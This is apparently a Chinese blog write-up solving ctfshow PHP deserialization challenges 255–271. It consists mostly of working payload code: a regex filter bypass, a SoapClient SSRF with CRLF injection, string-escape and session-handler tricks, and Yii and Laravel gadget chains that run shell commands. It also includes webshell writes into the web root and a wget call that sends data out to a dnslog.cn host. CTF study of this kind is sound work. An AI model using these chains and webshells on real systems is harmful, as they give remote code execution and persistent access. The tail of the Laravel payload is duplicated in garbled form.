ctfshow--反序列化

ctfshow反序列化篇(255-271)

255、

class ctfShowUser{
    public $isvip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));

get传两个参数username=xxxxxx&password=xxxxxx

burp抓包,cookie传参user(分号在cookie中不会被正确的上传到服务器,所以需要url编码):

在这里插入图片描述

256、

<?php
Class ctfShowUser{
    public $username="a";
    public $password="b"; 
	public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

get:username=123&password=1234

cookie:

image-20220301162539469

257、

<?php
class ctfShowUser{
	public function __construct(){
		$this->class=new backDoor();
	}
}
class backDoor{
	private $code="system('cat flag.php');";
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

258、

整体逻辑与上题相同,但多了层过滤。

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

正常序列化的结果为:

O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:14:"backDoorcode";s:23:"system('cat flag.php');";}}

这层过滤的意思为:"o:"后不能跟数字,可以加个+号绕过,如:

O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:14:"backDoorcode";s:23:"system('cat flag.php');";}}

然后url编码即可

259、

以下是feng师傅的博客内容:

新姿势,一般反序列化的题目,那个php页面没用任何已有的类,那大概率就是考察PHP原生类的反序列化。

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

想要得到flag,就必须本地访问flag.php并带上token,是根据x-forwarded-for来判断的,第一反应是改xff头,但因为有了cloudfare代理,我们无法通过本地构造XFF头实现绕过。因此这题需要利用原生类的反序列化来实现SSRF,考察的是php的SoapClient原生类的反序列化。

综述:
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。
通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容。

具体可以参考y4师傅的博客

最终的payload:

<?php

$a = new SoapClient(null,
    array(
        'user_agent' => "feng\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",
        'uri' => 'feng',
        'location' => 'http://127.0.0.1/flag.php'
    )
);
$b = serialize($a);
#$c = unserialize($b);
#$c->not_a_function();//调用不存在的方法,让SoapClient调用__call
echo urlencode($b);


<?php
$ua = "Lxxx\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));

print_r(urlencode(serialize($client)));

参考文章:https://baijiahao.baidu.com/s?id=1709236552525677652&wfr=spider&for=pc

261、

反序列化中常见的魔术方法

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

本题中,__sleep(),__invoke()函数无法触发,根据php特性,__wakeup()也不会触发。

php7.4版本以上
1、当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize
2、__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组

发现__destruct()函数中有

public function __destruct(){
   if($this->code==0x36d){
       file_put_contents($this->username, $this->password);
	}
}

0x36d=877,php弱比较绕过

payload:

<?php
 
class ctfshowvip{
    public $username;
    public $password;
	public function __construct($u,$p){
		$this->username=$u;
        $this->password=$p; 
	}
}
$a=new ctfshowvip("877.php","<?php eval($_POST[1]);?>");
echo serialize($a);    
?>

262、

首先发现字符串替代,猜测是字符串逃逸。

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

注意最上面注释

message.php

查看发现:

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }

当token的值为amin的时候,输出flag,

";s:5:"token";s:5:"admin";}有27位,所以构造27个fuck

<?php
class message{
    public $from="1";
    public $msg="1";
    public $to='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';

    public $token='admin';
}
$a=new message();
$b=serialize($a);
echo $b."<br><br>";
$b=str_replace('fuck', 'loveU', $b);
echo $b;

263、

知识点

记一次艰难的解题:

一开始什么也没有,看到框就想注入(bushi)。看看有什么特殊的文件,发现了www.zip,下载下来进行一个审计。

/inc/inc.php下发现了:

ini_set('session.serialize_handler', 'php');

//下面这一段更是可控
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

接着找一找有没有可控的session,在index.php下发现:

	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);

又发现check.php调用了inc.php

require_once 'inc/inc.php';

接着我们就有了思路,构造一段payload,然后将这个payload作为cookie传入到session,再访问check.php时自动将session解码反序列化,成功赋值,最后访问生成的文件,执行rce。

<?php
class User{
    public $username;
    public $password;
    function __construct(){
        $this->username = "10.php";
        $this->password = '<?php eval($_POST[0]);?>';
    }
}
echo base64_encode("|".serialize(new User()));

264、

甚至可以直接用262的payload,但要记得最后cookie传一个msg

265、

考察php按地址传参

<?php
class ctfshowAdmin{
    public $token;
    public $password;
    public function __construct(){
        $this->token='a';
        $this->password=&$this->token;
    }
}
$a=new ctfshowAmin();
echo serialize($a);

266、

当我们的序列化字符串中有ctfshow就会抛出异常,这样就没办法调用__destrcut了,在php中,函数不区分大小写,所以大写绕过就行

<?php
class Ctfshow{}
echo serialize(new Ctfshow());

267、yii框架链子1

弱口令admin登录,在about页面查看源代码,发现

poc

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'phpinfo';  //控制函数
            $this->id = '1'; //控制括号里的内容
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

没办法输出内容,可以尝试dns带外找到index.php所在目录。(应该是把 / 过滤了,无法执行命令直接查看根目录)

$this->checkAccess = 'shell_exec';  
$this->id = 'wget `pwd|base64`.tgsjzu.dnslog.cn'; 

然后将命令写入php文件里

$this->checkAccess = 'shell_exec';  
$this->id = "echo '<?php eval(\$_POST[1]); ?>' > /var/www/html/basic/web/1.php"; 

访问1.php再命令执行就可以

268-270、yii框架链子2

<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php");
    echo(base64_encode(serialize($exp)));
}

271、

<?php

namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser
            $this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application
            $this->command = $command;           //要执行的php函数 system
            $this->parameters = $parameters;     //要执行的php函数的参数  array('id')
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

    $app = new Illuminate\Foundation\Application();

    $application = new Illuminate\Foundation\Application($app);

    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami'));

    echo urlencode(serialize($pendingcommand));
}

(命令里过滤了空格,注意一下

$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
    }
}

}

namespace {
$defaultgenerator = new Faker\DefaultGenerator(array(“hello” => “world”));

$app = new Illuminate\Foundation\Application();

$application = new Illuminate\Foundation\Application($app);

$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami'));

echo urlencode(serialize($pendingcommand));

(命令里过滤了空格,注意一下

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值